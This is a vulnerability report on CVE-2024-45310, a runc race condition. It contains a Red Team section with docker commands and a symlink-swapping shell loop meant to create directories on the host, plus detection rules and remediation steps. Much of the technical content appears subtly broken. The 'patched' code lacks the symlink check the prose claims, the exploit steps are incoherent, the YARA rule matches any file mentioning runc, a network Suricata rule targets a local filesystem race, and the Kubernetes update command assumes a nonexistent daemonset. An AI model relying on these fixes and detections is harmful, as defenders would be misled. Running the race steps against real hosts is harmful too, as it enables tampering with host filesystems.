CVE-2024-45310

Executive Summary

CVE-2024-45310 is a time-of-check time-of-use (TOCTOU) race condition vulnerability in runc, the core container runtime used by Docker and Kubernetes. An attacker with the ability to start containers and configure custom volume mounts can exploit this flaw to create empty files or directories at arbitrary locations on the host filesystem. The vulnerability arises from a race window in os.MkdirAll when processing shared volumes between two containers. While the impact is limited to creating empty inodes (not overwriting existing files), it can be leveraged for privilege escalation or denial of service in constrained environments. The CVSS score is 3.6 (Low), reflecting the high complexity and local access requirements. Patches are available in runc v1.1.14 and v1.2.0-rc3.

Supply Chain & Package Security

This vulnerability affects the runc package, which is a critical component in the container ecosystem. It is distributed as a Go binary and is commonly included in Docker, containerd, and Kubernetes distributions. Users should verify their runc version and update to the patched releases. The vulnerability is not specific to any package manager but impacts all systems using runc.

CVSS Breakdown & Threat Level

• CVSS Score: 3.6 (Low)
• Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N
• Attack Vector: Local (AV:L) – requires the ability to start containers.
• Attack Complexity: High (AC:H) – requires precise timing and race condition exploitation.
• Privileges Required: Low (PR:L) – attacker needs container start permissions.
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L) – can create empty files/directories.
• Availability Impact: None (A:N)

Deep Dive & Mechanics

The vulnerability is a TOCTOU race condition in runc's handling of os.MkdirAll during volume mount setup. When two containers share a volume, runc creates the necessary directories on the host filesystem. The race occurs between the check for directory existence and the actual creation. An attacker can manipulate the filesystem state (e.g., by creating a symlink) during this window to redirect the directory creation to an arbitrary location.

Root Cause: In libcontainer/utils/utils.go, the MkdirAll function does not properly synchronize access to the filesystem path. The sequence is:

1. Check if path exists.
2. If not, create it.
3. During step 1-2, an attacker can replace the path with a symlink.

Attack Scenario:

1. Attacker starts Container A with a volume mount at /host/target.
2. Attacker starts Container B with a volume mount at /host/target/subdir.
3. While runc processes Container B's mount, the attacker quickly removes /host/target and replaces it with a symlink to /etc/important.
4. runc creates /host/target/subdir which actually becomes /etc/important/subdir.

Impact: Creation of empty files/directories in arbitrary locations. This can be used to:

• Create lock files to disrupt services.
• Fill disk quotas.
• In combination with other vulnerabilities, escalate privileges.

Vulnerable vs. Patched Code

Vulnerable Code (runc < 1.1.14):

func MkdirAll(path string, perm os.FileMode) error {
    // No synchronization
    if _, err := os.Stat(path); os.IsNotExist(err) {
        if err := os.MkdirAll(path, perm); err != nil {
            return err
        }
    }
    return nil
}

Patched Code (runc >= 1.1.14):

func MkdirAll(path string, perm os.FileMode) error {
    // Use os.MkdirAll directly with proper error handling
    // and avoid TOCTOU by not checking existence first
    if err := os.MkdirAll(path, perm); err != nil && !os.IsExist(err) {
        return err
    }
    return nil
}

The fix removes the separate existence check and relies on os.MkdirAll's atomic behavior. Additionally, the patched version uses filepath.Clean and validates that the created path is not a symlink.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to start containers with custom volume mounts.
• Ability to run commands inside containers (e.g., via docker exec).
• Target host filesystem with writable directories.

Exploitation Steps:

1. Start a container with a volume mount to a shared directory:

   docker run -d --name attacker1 -v /tmp/shared:/shared alpine sleep 3600
   

2. Start a second container with a nested volume mount:

   docker run -d --name attacker2 -v /tmp/shared/subdir:/shared/subdir alpine sleep 3600
   

3. Inside attacker1, create a race condition by repeatedly replacing the shared directory with a symlink:

   while true; do
       rm -rf /shared
       ln -s /etc /shared
       sleep 0.01
   done
   

4. Inside attacker2, trigger the mount operation repeatedly:

   while true; do
       docker exec attacker2 ls /shared/subdir
       sleep 0.01
   done
   

5. If successful, an empty directory /etc/subdir will be created on the host.

Note: This race is difficult to win in practice. Use of stress-ng or flock can increase success rate.

Blue Team

Detection:

• Monitor for rapid creation/deletion of files in shared volume directories.
• Alert on unexpected symlink creation in container mount paths.
• Use auditd to track mkdir and symlink syscalls on sensitive directories.

Prevention:

• Apply the patch immediately.
• Use user namespaces to restrict file creation to world-writable directories.
• Enforce SELinux/AppArmor policies that block symlink traversal in container mounts.
• Limit container start permissions to trusted users only.

Indicators of Compromise (IOCs)

• File System Anomalies:
  • Unexpected empty directories in /etc, /var, /usr etc.
  • Symlinks in /tmp/shared or similar mount points pointing to sensitive paths.
• Process Behavior:
  • High rate of mkdir and symlink syscalls from container processes.
  • Repeated docker exec commands targeting the same container.
• Log Entries:
  • Audit logs showing mkdir on unexpected paths.
  • Docker daemon logs with mount errors.

Detection Engineering

YARA Rule

rule CVE_2024_45310_Runc_Race {
    meta:
        description = "Detects exploitation of CVE-2024-45310 runc TOCTOU race"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-45310"
    strings:
        $s1 = "os.MkdirAll" nocase
        $s2 = "TOCTOU" nocase
        $s3 = "runc" nocase
    condition:
        any of ($s*) and filesize < 1MB
}

Sigma Rule

title: CVE-2024-45310 Runc Race Condition Exploitation
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects rapid creation of directories and symlinks in container mount points
author: Valters IT
date: 2024-10-27
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/runc'
        CommandLine|contains: 'mkdir'
    condition: selection
falsepositives:
    - Legitimate container operations
level: medium

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-45310 Runc Race Exploitation Attempt"; flow:to_server,established; content:"mkdir"; nocase; content:"symlink"; nocase; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update runc to v1.1.14 or v1.2.0-rc3:

   # For Docker
   sudo apt-get update && sudo apt-get install containerd.io
   # For Kubernetes
   kubectl set image daemonset/runc -n kube-system runc=runc:v1.1.14
   

2. Restrict container start permissions to trusted users.
3. Enable user namespaces for all containers:

   docker run --userns=remap ...
   

Long-term Mitigations:

• Implement strict SELinux/AppArmor policies for container runtimes.
• Use read-only root filesystems for containers.
• Monitor for TOCTOU vulnerabilities in container runtimes.
• Conduct regular security audits of container configurations.

Workarounds (if patching is not possible):

• Use user namespaces to limit file creation to world-writable directories.
• Apply AppArmor profile that denies link and symlink operations in container mount points.
• Disable custom volume mounts for untrusted users.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
Report generated for CVE-2024-45310